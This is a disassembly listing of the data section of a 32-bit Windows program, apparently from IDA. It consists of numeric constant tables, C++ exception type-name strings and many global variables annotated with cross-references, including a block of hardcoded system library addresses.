		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43FBB8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_42602A+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43FD18	dd offset off_428D88	; DATA XREF: seg001:00428F0Co
					; seg001:0042900Co
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_43FD30	dd offset off_428D88	; DATA XREF: seg001:off_428DF8o
					; seg001:00428E8Co ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_43FD50	dd offset off_428D88	; DATA XREF: seg001:off_428E10o
					; seg001:00428E54o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43FD70	dd offset off_428D88	; DATA XREF: seg001:off_428E98o
					; seg001:00428EDCo ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_43FD90	dd offset off_428D88	; DATA XREF: seg001:off_428F18o
					; seg001:00428F54o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42495C
		align 10h
dword_43FDB0	dd 0			; DATA XREF: sub_401132+C8o
dword_43FDB4	dd 0			; DATA XREF: sub_401132+62o
					; seg000:0040395Fo ...
dword_43FDB8	dd 0			; DATA XREF: seg000:004025B7o
					; seg000:00402628r ...
		dd 5 dup(0)
dword_43FDD0	dd 0			; DATA XREF: seg000:00402613r
					; sub_4151B6+60r
		dd 2D9h	dup(0)
dword_440938	dd 0			; DATA XREF: seg000:004078D3r
					; seg000:004079D5r ...
		dd 7Fh dup(0)
dword_440B38	dd 0			; DATA XREF: sub_40AF71+4Cw
					; sub_40B0AC+3Aw ...
dword_440B3C	dd 0			; DATA XREF: sub_40AF71+3Ew
					; sub_40B0AC+40w ...
dword_440B40	dd 0			; DATA XREF: sub_40AF71+45w
					; sub_40B0AC+34r ...
dword_440B44	dd 0			; DATA XREF: sub_401132+Cr
					; sub_401875+B9w ...
dword_440B48	dd 0			; DATA XREF: sub_40B0AC+6Fr
					; sub_40B287+2Aw ...
dword_440B4C	dd 0			; DATA XREF: seg000:0040228Cw
					; seg000:004024E9w ...
byte_440B50	db 0			; DATA XREF: sub_401875+91o
					; seg000:0040781Br ...
		align 4
		dd 12FFh dup(0)
dword_445750	dd 473Ch dup(0)		; DATA XREF: seg002:off_43640Co
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: seg002:off_43B124o
		dd 0E304h dup(0)
dword_490054	dd 7FFFh dup(0)		; DATA XREF: seg002:00433C21o
					; seg002:00434451o
		db 2 dup(0)
word_4B0052	dw 0			; DATA XREF: seg002:00434447o
		dd 147Ch dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: seg002:off_43AF90o
		dd 61BCh dup(0)
dword_4CD938	dd 856Ch		; DATA XREF: sub_401132+FDw
					; sub_40AF71+13o ...
dword_4CD93C	dd 19h			; DATA XREF: seg000:00401273w
					; seg000:loc_4044D0r ...
		dd 5Ah dup(0)
dword_4CDAA8	dd 0			; DATA XREF: seg000:00409915w
dword_4CDAAC	dd 0			; DATA XREF: seg000:0040236Dr
dword_4CDAB0	dd 0			; DATA XREF: seg000:0040978Bo
					; sub_40C7FA+13o ...
dword_4CDAB4	dd 77C72C6Bh		; DATA XREF: sub_409A01+4A7w
					; sub_409A01+4EBr ...
dword_4CDAB8	dd 77EBA994h		; DATA XREF: sub_409A01+65w
					; seg000:004199E9r
dword_4CDABC	dd 7622A3F4h		; DATA XREF: sub_409A01+80Bw
					; sub_409A01+880r ...
dword_4CDAC0	dd 71C45229h		; DATA XREF: sub_409A01+9D8w
					; sub_409A01+A43r ...
dword_4CDAC4	dd 71C24870h		; DATA XREF: sub_409A01+98Aw
					; sub_409A01+A13r ...
dword_4CDAC8	dd 77C71BB0h		; DATA XREF: sub_409A01+48Dw
					; sub_409A01+4DBr ...
dword_4CDACC	dd 77D4808Bh		; DATA XREF: sub_409A01+213w
					; sub_409A01+234r ...
dword_4CDAD0	dd 71C4502Ch		; DATA XREF: sub_409A01+9CBw
					; sub_409A01+A3Br ...
dword_4CDAD4	dd 77DE801Bh		; DATA XREF: sub_409A01+372w
					; sub_409A01+3C7r ...
dword_4CDAD8	dd 77DDACABh		; DATA XREF: sub_409A01+40Fw
					; sub_41AC18+11Er
dword_4CDADC	dd 77DE8075h		; DATA XREF: sub_409A01+37Fw
					; sub_409A01+3CFr ...
dword_4CDAE0	dd 77DD7496h		; DATA XREF: sub_409A01+3C0w
					; sub_418E8B+ADr
dword_4CDAE4	dd 71AB1B7Bh		; DATA XREF: sub_409A01+55Aw
					; sub_40F477+115r ...
dword_4CDAE8	dd 77E686CCh		; DATA XREF: sub_409A01+72w
					; sub_409A01+D2r ...
dword_4CDAEC	dd 71C2498Bh		; DATA XREF: sub_409A01+97Dw
					; sub_409A01+A06r ...
dword_4CDAF0	dd 77DDAB2Fh		; DATA XREF: sub_409A01+3A6w
					; sub_409A01+3E7r ...
dword_4CDAF4	dd 7620E8C3h		; DATA XREF: sub_409A01+859w
					; sub_409A01+8ACr ...
dword_4CDAF8	dd 77DD23D7h		; DATA XREF: sub_409A01+2A5w
					; sub_409A01+2F0r ...
dword_4CDAFC	dd 76214750h		; DATA XREF: sub_409A01+84Cw
					; sub_409A01+8A4r ...
dword_4CDB00	dd 77E6D75Bh		; DATA XREF: sub_409A01+B3w
dword_4CDB04	dd 7620BD61h		; DATA XREF: sub_409A01+866w
					; sub_409A01+8B4r
dword_4CDB08	dd 71AB60C9h		; DATA XREF: sub_409A01+54Dw
					; sub_409A01+6D0r ...
dword_4CDB0C	dd 77EBA6E9h		; DATA XREF: sub_409A01+58w
					; sub_409A01+CAr ...
dword_4CDB10	dd 76D62A58h		; DATA XREF: sub_409A01+934w
dword_4CDB14	dd 76F36EAAh		; DATA XREF: seg000:loc_403EC9r
					; sub_409A01+A95w ...
dword_4CDB18	dd 77E802FCh		; DATA XREF: sub_409A01+A6w
					; sub_409A01+F2r
dword_4CDB1C	dd 77C75455h		; DATA XREF: sub_409A01+480w
					; sub_409A01+4D3r ...
dword_4CDB20	dd 71AB12A7h		; DATA XREF: sub_409A01+5F6w
					; sub_40BE0D+20r ...
dword_4CDB24	dd 71C574FAh		; DATA XREF: sub_409A01+9BEw
					; sub_409A01+A33r
dword_4CDB28	dd 71AB1746h		; DATA XREF: sub_409A01+5E9w
					; sub_409A01+754r ...
dword_4CDB2C	dd 71C21CA3h		; DATA XREF: sub_409A01+A0Cw
dword_4CDB30	dd 71B28D0Dh		; DATA XREF: sub_409A01+B50w
dword_4CDB34	dd 762211EFh		; DATA XREF: sub_409A01+7FEw
					; sub_409A01+86Dr
dword_4CDB38	dd 77D902E3h		; DATA XREF: sub_409A01+1B3w
					; sub_40B1B3+16o ...
dword_4CDB3C	dd 71C2FA86h		; DATA XREF: sub_409A01+997w
					; sub_409A01+A1Br ...
dword_4CDB40	dd 77DE1291h		; DATA XREF: sub_409A01+38Cw
					; sub_409A01+3D7r ...
dword_4CDB44	dd 77E2C1B3h		; DATA XREF: sub_409A01+399w
					; sub_409A01+3DFr ...
dword_4CDB48	dd 73B81E3Bh		; DATA XREF: sub_409A01+C85w
					; sub_409A01+C8Cr ...
dword_4CDB4C	dd 71ABF628h		; DATA XREF: sub_409A01+6ACw
					; seg000:00410A4Ar
dword_4CDB50	dd 71AB1836h		; DATA XREF: sub_401132+1Dr
					; sub_401132+23r ...
dword_4CDB54	dd 77C72889h		; DATA XREF: sub_409A01+4B4w
					; seg000:004156C5r
dword_4CDB58	dd 71C453F8h		; DATA XREF: sub_409A01+9E5w
					; sub_409A01+A4Br ...
dword_4CDB5C	dd 77DD5C55h		; DATA XREF: start+55r	sub_409A01+2B2w ...
dword_4CDB60	dd 77E96645h		; DATA XREF: sub_409A01+7Fw
					; sub_409A01+DAr ...
dword_4CDB64	dd 77428B97h		; DATA XREF: seg000:00407386r
					; seg000:00409400r ...
dword_4CDB68	dd 71AB41DAh		; DATA XREF: seg000:004012C2r
					; seg000:00406B85r ...
dword_4CDB6C	dd 762059A3h		; DATA XREF: sub_409A01+825w
					; sub_409A01+890r ...
dword_4CDB70	dd 71C4A1B4h		; DATA XREF: sub_409A01+9A4w
					; sub_409A01+A23r
dword_4CDB74	dd 1F7CD214h		; DATA XREF: sub_409A01+C0Ew
					; sub_409A01+C3Fr
dword_4CDB78	dd 77E09134h		; DATA XREF: sub_409A01+2CCw
					; sub_4186C5+47r
dword_4CDB7C	dd 77D4456Bh		; DATA XREF: sub_409A01+22Dw
					; seg000:00411E93r ...
dword_4CDB80	dd 76D629BBh		; DATA XREF: sub_409A01+91Aw
					; sub_409A01+92Er
dword_4CDB84	dd 1F7B9D96h		; DATA XREF: sub_409A01+C28w
dword_4CDB88	dd 77E09070h		; DATA XREF: sub_409A01+2D9w
					; sub_4186C5+4Fr
dword_4CDB8C	dd 71AB1740h		; DATA XREF: sub_409A01+574w
					; sub_409A01+6E8r ...
dword_4CDB90	dd 7620AFB6h		; DATA XREF: sub_409A01+83Fw
					; sub_409A01+873r
dword_4CDB94	dd 77D5C13Ah		; DATA XREF: sub_409A01+220w
					; sub_409A01+23Cr ...
dword_4CDB98	dd 77D45B19h		; DATA XREF: sub_409A01+172w
					; sub_409A01+1C2r ...
dword_4CDB9C	dd 71AB157Eh		; DATA XREF: seg000:004038A0r
					; seg000:0040753Dr ...
dword_4CDBA0	dd 71AB3E5Dh		; DATA XREF: sub_401875+C4r
					; seg000:00406C0Fr ...
dword_4CDBA4	dd 71AB14DCh		; DATA XREF: sub_409A01+567w
					; sub_409A01+6DCr ...
dword_4CDBA8	dd 0CC0004h		; DATA XREF: sub_409A01+8DBw
					; sub_409A01:loc_40A2FAw ...
dword_4CDBAC	dd 77DD590Bh		; DATA XREF: start+2Ar	sub_409A01+28Bw ...
dword_4CDBB0	dd 71ABD755h		; DATA XREF: seg000:00409382r
					; sub_409A01+69Fw ...
dword_4CDBB4	dd 77DF7311h		; DATA XREF: sub_409A01+32Dw
					; sub_409A01+341r ...
dword_4CDBB8	dd 77DDA2AFh		; DATA XREF: sub_409A01+3B3w
					; sub_409A01+3EFr ...
dword_4CDBBC	dd 1F7CD927h		; DATA XREF: sub_409A01+C01w
					; sub_409A01+C37r
dword_4CDBC0	dd 76206853h		; DATA XREF: sub_409A01+818w
					; sub_409A01+888r ...
dword_4CDBC4	dd 77D4932Ch		; DATA XREF: sub_409A01+206w
					; sub_409A01+227r ...
dword_4CDBC8	dd 77D5E310h		; DATA XREF: sub_409A01+18Cw
					; sub_409A01+1D2r ...
dword_4CDBCC	dd 76206B7Fh		; DATA XREF: sub_409A01+832w
					; sub_409A01+898r ...
dword_4CDBD0	dd 71AB1444h		; DATA XREF: sub_409A01+624w
					; sub_409A01+774r
dword_4CDBD4	dd 77DD189Ah		; DATA XREF: start+5Er	sub_409A01+2BFw ...
dword_4CDBD8	dd 71AB3F8Dh		; DATA XREF: sub_409A01+66Bw
					; sub_409A01+79Cr ...
dword_4CDBDC	dd 77DD5D20h		; DATA XREF: sub_409A01+320w
					; sub_409A01+334r ...
dword_4CDBE0	dd 71AB1890h		; DATA XREF: sub_409A01+644w
					; sub_409A01+784r ...
dword_4CDBE4	dd 77C76B34h		; DATA XREF: sub_409A01+44Cw
					; sub_409A01+4AEr ...
dword_4CDBE8	dd 77D5E38Ch		; DATA XREF: sub_409A01+199w
					; sub_409A01+1DAr ...
dword_4CDBEC	dd 77DDA20Bh		; DATA XREF: sub_409A01+365w
					; sub_409A01+3BAr ...
dword_4CDBF0	dd 76F36EEBh		; DATA XREF: sub_409A01+AA2w
dword_4CDBF4	dd 71AB12A7h		; DATA XREF: sub_409A01+5DCw
					; sub_409A01+748r ...
dword_4CDBF8	dd 71AB1746h		; DATA XREF: sub_401875+3Er
					; seg000:00406BC1r ...
dword_4CDBFC	dd 77EBA595h		; DATA XREF: sub_409A01+4Bw
					; sub_409A01+C2r ...
dword_4CDC00	dd 77C7531Dh		; DATA XREF: sub_409A01+473w
					; sub_409A01+4CBr ...
dword_4CDC04	dd 77D4BDCAh		; DATA XREF: sub_409A01+165w
					; sub_409A01+1BAr ...
dword_4CDC08	dd 71C3516Ah		; DATA XREF: sub_409A01+9FFw
					; sub_409A01+A5Br
dword_4CDC0C	dd 71AB32CAh		; DATA XREF: sub_409A01+685w
					; sub_409A01+7ACr ...
dword_4CDC10	dd 71AB5690h		; DATA XREF: sub_4019DB+C4r
					; seg000:00406C24r ...
dword_4CDC14	dd 1F7CB8F8h		; DATA XREF: sub_409A01+C1Bw
					; sub_409A01+C47r
dword_4CDC18	dd 77EBB1E7h		; DATA XREF: sub_409A01+3Ew
					; sub_409A01+BAr ...
dword_4CDC1C	dd 77DD59F0h		; DATA XREF: start+49r	sub_409A01+298w ...
dword_4CDC20	dd 71AB5DE2h		; DATA XREF: sub_409A01+651w
					; sub_409A01+78Cr ...
dword_4CDC24	dd 71AB3ECEh		; DATA XREF: sub_409A01+637w
					; sub_409A01+77Cr ...
dword_4CDC28	dd 73B81B0Fh		; DATA XREF: seg000:00408DA4r
					; sub_409A01+C92w
dword_4CDC2C	dd 76204E4Dh		; DATA XREF: sub_409A01+879w
					; seg000:00416947r ...
dword_4CDC30	dd 0			; DATA XREF: sub_409A01+112w
dword_4CDC34	dd 1F7D886Ah		; DATA XREF: sub_409A01+BE7w
					; sub_409A01+C22r
dword_4CDC38	dd 71AB12F8h		; DATA XREF: seg000:00404AF4r
					; seg000:00407A06r ...
dword_4CDC3C	dd 77C76551h		; DATA XREF: sub_409A01+459w
					; sub_409A01+4BBr ...
dword_4CDC40	dd 77C729E2h		; DATA XREF: sub_409A01+49Aw
					; sub_409A01+4E3r ...
dword_4CDC44	dd 77C7212Fh		; DATA XREF: sub_409A01+466w
					; sub_409A01+4C3r ...
dword_4CDC48	dd 71AB1AF4h		; DATA XREF: sub_4019DB+7Cr
					; seg000:00406C41r ...
dword_4CDC4C	dd 77D5E303h		; DATA XREF: sub_409A01+1A6w
					; sub_409A01+1E2r ...
dword_4CDC50	dd 71C4576Ch		; DATA XREF: sub_409A01+9F2w
					; sub_409A01+A53r ...
dword_4CDC54	dd 77D4702Fh		; DATA XREF: sub_409A01+158w
					; sub_409A01+1ADr ...
dword_4CDC58	dd 77E6C0E3h		; DATA XREF: sub_409A01+8Cw
					; sub_409A01+E2r ...
dword_4CDC5C	dd 71AB1ED3h		; DATA XREF: sub_409A01+610w
					; sub_409A01+764r ...
dword_4CDC60	dd 71B2A381h		; DATA XREF: sub_409A01+B43w
					; sub_409A01+B5Fr
dword_4CDC64	dd 77DDA595h		; DATA XREF: sub_409A01+33Aw
					; sub_419828+55r
dword_4CDC68	dd 77DD22EAh		; DATA XREF: sub_409A01+27Ew
					; sub_409A01+2D3r ...
dword_4CDC6C	dd 773F97B0h		; DATA XREF: sub_409A01+BAAw
dword_4CDC70	dd 76D67A29h		; DATA XREF: sub_409A01+AECw
					; sub_40AA20+8Fr
dword_4CDC74	dd 76D674FAh		; DATA XREF: sub_409A01+ADFw
					; sub_409A01+AE6r ...
dword_4CDC78	dd 71AB3C22h		; DATA XREF: sub_401875+A6r
					; seg000:00406BA0r ...
dword_4CDC7C	dd 71AB2BBFh		; DATA XREF: seg000:00406B92r
					; seg000:004093A6r ...
dword_4CDC80	dd 1F7BA3A9h		; DATA XREF: sub_409A01+BF4w
					; sub_409A01+C2Fr
dword_4CDC84	dd 71AB401Ch		; DATA XREF: seg000:004038C6r
					; seg000:00407563r ...
dword_4CDC88	dd 71C214BAh		; DATA XREF: sub_409A01+9B1w
					; sub_409A01+A2Br ...
dword_4CDC8C	dd 71AB868Dh		; DATA XREF: sub_409A01+65Ew
					; sub_409A01+794r ...
dword_4CDC90	dd 71AB1A6Dh		; DATA XREF: sub_401132+12r
					; sub_401875+D0r ...
dword_4CDC94	dd 71AB155Ah		; DATA XREF: sub_409A01+59Bw
					; sub_409A01+70Cr ...
dword_4CDC98	dd 71B22C25h		; DATA XREF: sub_409A01+B36w
					; sub_409A01+B57r
dword_4CDC9C	dd 71AB5A01h		; DATA XREF: sub_409A01+540w
					; sub_409A01+6C4r ...
dword_4CDCA0	dd 71B2ACCBh		; DATA XREF: sub_409A01+B29w
					; sub_409A01+B4Ar ...
dword_4CDCA4	dd 77E78C17h		; DATA XREF: seg000:00401288r
					; sub_409A01+31w ...
dword_4CDCA8	dd 77D49A11h		; DATA XREF: sub_409A01+17Fw
					; sub_409A01+1CAr ...
dword_4CDCAC	dd 76D62A37h		; DATA XREF: sub_409A01+927w
					; sub_409A01+93Br
dword_4CDCB0	dd 77E6CBF9h		; DATA XREF: sub_409A01+99w
					; sub_409A01+EAr ...
dword_4CDCB4	dd 0			; DATA XREF: sub_409A01:loc_409AFFw
					; sub_409A01+12Bw ...
dword_4CDCB8	dd 0			; DATA XREF: sub_409A01+126w
					; sub_40A6BD+1Cr
dword_4CDCBC	dd 0			; DATA XREF: sub_409A01:loc_409BEFw
					; sub_409A01:loc_409C56w ...
dword_4CDCC0	dd 0			; DATA XREF: sub_409A01+250w
					; sub_40A6BD+50r
dword_4CDCC4	dd 0			; DATA XREF: seg000:00405F80r
					; sub_409A01:loc_409D09w ...
dword_4CDCC8	dd 0			; DATA XREF: sub_409A01+41Ew
					; sub_40A6BD+84r
dword_4CDCCC	dd 0			; DATA XREF: sub_409A01:loc_409F05w
					; sub_40A6BD:loc_40A76Dr
dword_4CDCD0	dd 0			; DATA XREF: sub_409A01+4FFw
					; sub_40A6BD+B8r
dword_4CDCD4	dd 0			; DATA XREF: sub_409A01:loc_40A1D6w
					; sub_40A6BD:loc_40A7A1r
dword_4CDCD8	dd 0			; DATA XREF: sub_409A01+7D0w
					; sub_40A6BD+ECr
dword_4CDCDC	dd 0			; DATA XREF: sub_409A01:loc_40A2C1w
					; sub_409A01+8EFw ...
dword_4CDCE0	dd 0			; DATA XREF: sub_409A01+8EAw
					; sub_40A6BD+120r
dword_4CDCE4	dd 0			; DATA XREF: seg000:loc_406ED3r
					; sub_409A01:loc_40A355w ...
dword_4CDCE8	dd 0			; DATA XREF: sub_409A01+94Fw
					; sub_40A6BD+154r
dword_4CDCEC	dd 0			; DATA XREF: seg000:00405F88r
					; sub_409A01:loc_40A471w ...
dword_4CDCF0	dd 0			; DATA XREF: sub_409A01+A6Bw
					; sub_40A6BD+188r
dword_4CDCF4	dd 0			; DATA XREF: sub_409A01:loc_40A4BBw
					; sub_40A6BD:loc_40A871r
dword_4CDCF8	dd 0			; DATA XREF: sub_409A01+AB5w
					; sub_40A6BD+1BCr
dword_4CDCFC	dd 0			; DATA XREF: sub_409A01:loc_40A505w
					; sub_40A6BD:loc_40A8A5r
dword_4CDD00	dd 0			; DATA XREF: sub_409A01+AFFw
					; sub_40A6BD+1F0r
dword_4CDD04	dd 0			; DATA XREF: sub_409A01:loc_40A579w
					; sub_40A6BD:loc_40A8D9r
dword_4CDD08	dd 0			; DATA XREF: sub_409A01+B73w
					; sub_40A6BD+224r
dword_4CDD0C	dd 0			; DATA XREF: sub_409A01:loc_40A5C3w
					; sub_40A6BD:loc_40A90Dr
dword_4CDD10	dd 0			; DATA XREF: sub_409A01+BBDw
					; sub_40A6BD+258r
dword_4CDD14	dd 0			; DATA XREF: sub_409A01:loc_40A661w
					; sub_40A6BD:loc_40A941r
dword_4CDD18	dd 0			; DATA XREF: sub_409A01+C5Bw
					; sub_40A6BD+28Cr
dword_4CDD1C	dd 0			; DATA XREF: sub_409A01:loc_40A6ABw
					; sub_40A6BD:loc_40A975r
dword_4CDD20	dd 0			; DATA XREF: sub_409A01+CA5w
					; sub_40A6BD+2C0r
dword_4CDD24	dd 5 dup(0)		; DATA XREF: sub_40AAF8+32o
dword_4CDD38	dd 0			; DATA XREF: sub_40B8B2+18r
					; sub_40BE55+92w ...
dword_4CDD3C	dd 0			; DATA XREF: sub_40BF8E+1F7r
					; seg000:0040C27Bw ...
		dd 7FEh	dup(0)
dword_4CFD38	dd 6 dup(0)		; DATA XREF: sub_40BF8E+C0o
					; sub_40BF8E+129o ...
dword_4CFD50	dd 0			; DATA XREF: seg000:0040BBE0w
					; seg000:0040BC76o
dword_4CFD54	dd 0			; DATA XREF: seg000:0040BC6Cw
					; seg000:0040BC88r
dword_4CFD58	dd 0			; DATA XREF: seg000:0040BBEBw
dword_4CFD5C	dd 0			; DATA XREF: seg000:0040BBD5w
					; seg000:0040BC49r
dword_4CFD60	dd 20h dup(0)		; DATA XREF: seg000:0040BBFEo
					; seg000:0040BC30o
dword_4CFDE0	dd 0			; DATA XREF: seg000:0040BBF1w
dword_4CFDE4	dd 0			; DATA XREF: seg000:0040BC08w
					; seg000:0040BC3Aw
dword_4CFDE8	dd 0			; DATA XREF: seg000:loc_40BDC2r
		align 10h
dword_4CFDF0	dd 0			; DATA XREF: seg000:0040B9ABw
					; seg000:0040BA27o
dword_4CFDF4	dd 41h dup(0)		; DATA XREF: seg000:0040B96Ao
dword_4CFEF8	dd 41h dup(0)		; DATA XREF: seg000:0040B992o
dword_4CFFFC	dd 0			; DATA XREF: seg000:0040BA1Dw
					; seg000:0040BA39r
dword_4D0000	dd 0			; DATA XREF: seg000:0040B97Bw
dword_4D0004	dd 0			; DATA XREF: seg000:0040B976w
					; seg000:0040B9FAr
dword_4D0008	dd 20h dup(0)		; DATA XREF: seg000:0040B9C3o
					; seg000:0040B9E0o
dword_4D0088	dd 0			; DATA XREF: seg000:0040B9B8w
dword_4D008C	dd 0			; DATA XREF: seg000:0040B9CDw
					; seg000:0040B9EAw
dword_4D0090	dd 0			; DATA XREF: seg000:loc_40BAF4r
		align 8
dword_4D0098	dd 0			; DATA XREF: seg000:0040BABDw
					; seg000:0040BB4Fo
dword_4D009C	dd 41h dup(0)		; DATA XREF: seg000:0040BA7Fo
dword_4D01A0	dd 41h dup(0)		; DATA XREF: seg000:0040BAA4o
dword_4D02A4	dd 0			; DATA XREF: seg000:0040BB45w
					; seg000:0040BB61r
dword_4D02A8	dd 0			; DATA XREF: seg000:0040BA92w
dword_4D02AC	dd 0			; DATA XREF: seg000:0040BA8Dw
					; seg000:0040BB22r
dword_4D02B0	dd 20h dup(0)		; DATA XREF: seg000:0040BAD6o
					; seg000:0040BB08o
dword_4D0330	dd 0			; DATA XREF: seg000:0040BAC9w
dword_4D0334	dd 0			; DATA XREF: seg000:0040BAE0w
					; seg000:0040BB12w
dword_4D0338	dd 0			; DATA XREF: seg000:loc_40BC1Cr
		align 10h
dword_4D0340	dd 0			; DATA XREF: seg000:0040BD37w
					; seg000:0040BD90o
dword_4D0344	dd 0A2h	dup(0)		; DATA XREF: seg000:0040BD25o
dword_4D05CC	dd 41h dup(0)		; DATA XREF: seg000:0040BCEFo
dword_4D06D0	dd 0			; DATA XREF: seg000:0040BD1Cw
					; seg000:0040BD43r
		align 8
dword_4D06D8	dd 0			; DATA XREF: seg000:0040BD86w
					; seg000:0040BDA2r
dword_4D06DC	dd 0			; DATA XREF: seg000:0040BD49w
dword_4D06E0	dd 0			; DATA XREF: seg000:0040BD56w
dword_4D06E4	dd 0			; DATA XREF: seg000:0040BD16w
		dd 0
dword_4D06EC	dd 0			; DATA XREF: seg000:loc_40BDD7r
dword_4D06F0	dd 0			; DATA XREF: sub_40B57B+Er
					; sub_40B57B+31r
dword_4D06F4	dd 0			; DATA XREF: sub_40B57B+9r
					; sub_40B57B+25r ...
dword_4D06F8	dd 80h dup(0)		; DATA XREF: seg000:0040C486o
dword_4D08F8	dd 2 dup(0)		; DATA XREF: sub_40CD4A+68o
dword_4D0900	dd 2080Ah		; DATA XREF: sub_40D73E+8w
					; sub_40D83A+2D9o
dword_4D0904	dd 2 dup(0)		; DATA XREF: sub_40D83A+1FFo
					; sub_40E3D2+EAo
dword_4D090C	dd 0			; DATA XREF: seg000:0040E8A6r
		dd 0
		dd 0
dword_4D0918	dd 0			; DATA XREF: seg000:0040E879r
dword_4D091C	dd 0			; DATA XREF: seg000:0040E85Br
					; seg000:0040E8C4r
dword_4D0920	dd 84D3h		; DATA XREF: seg000:0040BBCAr
dword_4D0924	dd 0			; DATA XREF: sub_40B5E6+1Br
dword_4D0928	dd 0			; DATA XREF: sub_40F360+2Aw
					; sub_40F360+51r ...
		align 10h
dword_4D0930	dd 0			; DATA XREF: seg000:00410AC0r
		align 8
dword_4D0938	dd 0			; DATA XREF: sub_41249E+4w
					; sub_41249E+9o
		dd 109h	dup(0)
dword_4D0D60	dd 187h	dup(0)		; DATA XREF: seg000:00404A6Ao
					; seg000:loc_404B19o ...
dword_4D137C	dd 0			; DATA XREF: seg000:00403494w
					; seg000:00404A62r ...
		dd 0
byte_4D1384	db 0			; DATA XREF: seg000:00414F73o
					; seg000:00414F82w ...
byte_4D1385	db 0			; DATA XREF: seg000:00414F96w
word_4D1386	dw 0			; DATA XREF: seg000:00414FC7w
word_4D1388	dw 0			; DATA XREF: seg000:00414FAEw
					; seg000:loc_415102w
word_4D138A	dw 0			; DATA XREF: seg000:00414FCDw
byte_4D138C	db 0			; DATA XREF: seg000:00414FBAw
byte_4D138D	db 0			; DATA XREF: seg000:00414F8Fw
word_4D138E	dw 0			; DATA XREF: seg000:00415122w
					; seg000:0041514Cw
dword_4D1390	dd 0			; DATA XREF: seg000:loc_414FFBw
					; seg000:004150CCr
dword_4D1394	dd 0			; DATA XREF: seg000:00415008w
word_4D1398	dw 0			; DATA XREF: seg000:004150C6w
					; seg000:00415118o
word_4D139A	dw 0			; DATA XREF: seg000:00415067w
					; seg000:0041508Cr ...
dword_4D139C	dd 0			; DATA XREF: seg000:0041503Ew
					; seg000:00415109w
dword_4D13A0	dd 0			; DATA XREF: seg000:0041505Aw
					; seg000:004150DDw ...
byte_4D13A4	db 0			; DATA XREF: seg000:00415043r
					; seg000:00415051w
byte_4D13A5	db 0			; DATA XREF: seg000:0041500Dw
					; seg000:004150D6w ...
word_4D13A6	dw 0			; DATA XREF: seg000:0041501Bw
word_4D13A8	dw 0			; DATA XREF: seg000:00415129w
					; seg000:0041515Aw
word_4D13AA	dw 0			; DATA XREF: seg000:00415060w
word_4D13AC	dw 0			; DATA XREF: seg000:00415092w
					; seg000:00415162o
word_4D13AE	dw 0			; DATA XREF: seg000:004150A1w
					; seg000:00415139w
dword_4D13B0	dd 0			; DATA XREF: seg000:0041509Bw
		dd 2 dup(0)
dword_4D13BC	dd 0			; DATA XREF: seg000:004150D1w
					; seg000:00415147o
dword_4D13C0	dd 0			; DATA XREF: seg000:0041506Dw
byte_4D13C4	db 0			; DATA XREF: seg000:00415073w
byte_4D13C5	db 0			; DATA XREF: seg000:00415079w
